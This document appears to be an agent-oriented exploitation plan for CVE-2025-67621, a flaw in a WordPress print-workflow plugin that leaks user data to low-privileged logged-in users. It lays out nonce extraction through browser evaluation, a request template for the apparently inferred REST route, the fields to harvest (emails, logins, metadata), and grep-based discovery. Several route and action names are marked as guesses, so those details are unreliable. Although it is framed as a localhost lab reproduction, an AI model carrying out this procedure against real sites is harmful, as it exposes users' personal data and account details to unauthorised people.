Exploitation Research Plan: CVE-2025-67621

1. Vulnerability Summary

The Eight Day Week Print Workflow plugin (<= 1.2.5) contains a sensitive information exposure vulnerability. The plugin registers REST API or AJAX endpoints intended for print workflow management (integrating WordPress with Adobe InDesign/Eight Day Week). These endpoints fail to implement sufficient capability checks, allowing authenticated users with "Custom-level" access (typically roles like 'Subscriber' or those granted specific print-related capabilities) to extract sensitive data, including user lists, metadata, or plugin configurations.

2. Attack Vector Analysis

• Endpoint Type: REST API (most likely) or AJAX.
• Vulnerable REST Route (Inferred): wp-json/edw/v1/users or wp-json/edw/v1/settings.
• Vulnerable AJAX Action (Inferred): edw_get_users or eight_day_week_get_staff.
• Authentication Level: Authenticated (PR:L). Any user with a valid login that can access the WordPress dashboard.
• Payload Parameter: None required for simple exposure, or specific filters (e.g., role=administrator) to narrow data extraction.
• Preconditions: The plugin must be active and at least one user must be logged in with a role that meets the "Custom+" requirement (which usually maps to any role higher than Subscriber, but often includes Subscriber if they have been granted specific plugin-defined capabilities).

3. Code Flow

1. Registration: The plugin uses the rest_api_init hook (found in includes/ or src/) to call register_rest_route().
2. Permission Bypass: The permission_callback for the sensitive route likely returns true, uses is_user_logged_in(), or checks for a low-level capability like read.
3. Data Retrieval: The endpoint handler (e.g., get_items method in a REST controller) calls get_users() or get_options() without filtering out sensitive fields.
4. Exposure: The handler returns a JSON response containing raw user objects, including emails, user IDs, and potentially user meta or hashed passwords if the object isn't properly sanitized via prepare_item_for_response.

4. Nonce Acquisition Strategy

The WordPress REST API requires a _wpnonce in the X-WP-Nonce header for authenticated requests.

Step 1: Identify the Localized Variable

Search the plugin code for where it enqueues scripts and localizes data:

grep -r "wp_localize_script" .

Look for a variable name like edw_settings or eight_day_week_vars.

Step 2: Extract Nonce via Browser

Since the vulnerability requires authentication, the agent must:

1. Log in to the WordPress dashboard as a low-privileged user (e.g., 'subscriber' or 'contributor').
2. Navigate to the dashboard: browser_navigate("http://localhost:8080/wp-admin/").
3. Use browser_eval to extract the REST nonce from the standard WordPress global object or the plugin's localized object:
   • Standard REST Nonce: browser_eval("window.wpApiSettings?.nonce")
   • Plugin Specific (if applicable): browser_eval("window.edw_settings?.nonce") (inferred)

5. Exploitation Strategy

The goal is to extract the full user list and sensitive metadata via the REST API.

1. Discovery:
   Identify the exact route by searching for register_rest_route in the plugin directory:

   grep -rn "register_rest_route" .
   

   Expect to find a namespace like edw/v1.

2. Execution:
   Using the http_request tool, perform a GET request to the identified endpoint using the nonce obtained in the previous step.

   Request Example:

   GET /wp-json/edw/v1/users HTTP/1.1
   Host: localhost:8080
   X-WP-Nonce: [EXTRACTED_NONCE]
   Cookie: [LOGGED_IN_USER_COOKIES]
   

3. Data Extraction:
   Analyze the JSON response. Look for:

   • user_email
   • user_login
   • display_name
   • Custom meta fields containing internal workflow data.

6. Test Data Setup

To demonstrate information exposure, the environment must contain data worth exposing:

1. Create Target Users:

   wp user create victim_admin admin@example.com --role=administrator --user_pass=password123
   wp user create victim_editor editor@example.com --role=editor --user_pass=password123
   

2. Create Attacker User:

   wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
   

3. Configure Plugin (if needed):
   Ensure "Eight Day Week" settings are initialized.

   wp option update edw_settings '{"api_key":"SECRET_VAL_123"}'
   

7. Expected Results

• Success: The response status is 200 OK. The body contains a JSON array of user objects. This array includes the victim_admin and victim_editor data, even though the request was made by a subscriber.
• Vulnerability Confirmation: The presence of user_email or internal plugin configuration data in a response accessible to a Subscriber confirms the Information Exposure.

8. Verification Steps

1. Confirm Payload via CLI:
   Verify the data exposed matches the database:

   wp user list --fields=ID,user_login,user_email --format=json
   

2. Compare Access:
   Attempt the same request without a cookie. It should return 401 Unauthorized.
   Attempt the same request with the Subscriber cookie. It should return 200 OK (Vulnerable). In a patched version, it should return 403 Forbidden.

9. Alternative Approaches

If the REST API route is not easily found:

• Search for AJAX Handlers:

  grep -r "wp_ajax_" .
  

• Trace "Staff" UI:
  If the plugin has a "Staff" or "Assignments" page in the admin, navigate to it as an Admin, open the browser network tab, and see which endpoint populates the user list. Then, attempt to hit that same endpoint as a Subscriber.
• Check for get_users calls:
  Search for where the plugin fetches users to see if it's wrapped in a custom function that lacks permission checks:

  grep -r "get_users" .